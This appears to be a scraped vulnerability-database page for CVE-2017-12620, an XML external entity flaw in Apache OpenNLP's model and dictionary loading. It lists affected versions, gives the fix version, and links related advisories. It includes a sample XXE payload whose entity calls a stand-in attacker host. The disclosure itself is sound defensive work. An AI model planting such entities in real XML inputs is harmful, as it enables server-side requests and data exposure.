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Apache OpenNLP XXE Vulnerability
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
 | Exploit for Unrestricted Upload of File with Dangerous Type in Apache Tomcat | 16 May 202116:14 | – | gitee |
| Exploit for Unrestricted Upload of File with Dangerous Type in Apache Tomcat | 27 Apr 202114:33 | – | gitee |
| Exploit for Unrestricted Upload of File with Dangerous Type in Apache Tomcat | 22 Oct 202115:45 | – | gitee |
 | Security Bulletin: IBM Data Risk Manager is affected by multiple vulnerabilities | 13 Aug 202122:15 | – | ibm |
| Security Bulletin: IBM Cognos Analytics with Watson 11.2.1 has addressed multiple vulnerabilities | 14 Oct 202121:21 | – | ibm |
 | Apache OpenNLP XXE Vulnerability | 31 Oct 201700:00 | – | cnvd |
 | CVE-2017-12620 | 2 Oct 201714:00 | – | cve |
 | CVE-2017-12620 | 2 Oct 201714:00 | – | cvelist |
 | EUVD-2022-4039 | 3 Oct 202520:07 | – | euvd |
 | Improper Restriction of XML External Entity Reference in Apache OpenNLP | 17 May 202200:29 | – | github |
10
CVE-2017-12620 - Apache OpenNLP XXE vulnerability
Severity: Medium
Vendor: The Apache Software Foundation
Versions Affected:
OpenNLP 1.5.0 to 1.5.3
OpenNLP 1.6.0
OpenNLP 1.7.0 to 1.7.2
OpenNLP 1.8.0 to 1.8.1
Description: When loading models or dictionaries that contain XML it is possible to perform an XXE attack, since OpenNLP is a library, this only affects applications that load models or dictionaries from untrusted sources.
Mitigation: All users who load models or XML dictionaries from untrusted sources should update to 1.8.2.
Example:
An attacker can place this:
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://evil.attacker.com/">
]>
<r>&sp;</r>
Inside one of the XML files, either a dictionary or embedded inside a model package, to demonstrate this vulnerability.
Credit: This issue was discovered by Nishil Shah of Salesforce.
# 0day.today [2018-01-05] #Data
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04 Oct 2017 00:00Current
9.3High risk
Vulners AI Score9.3
EPSS0.01018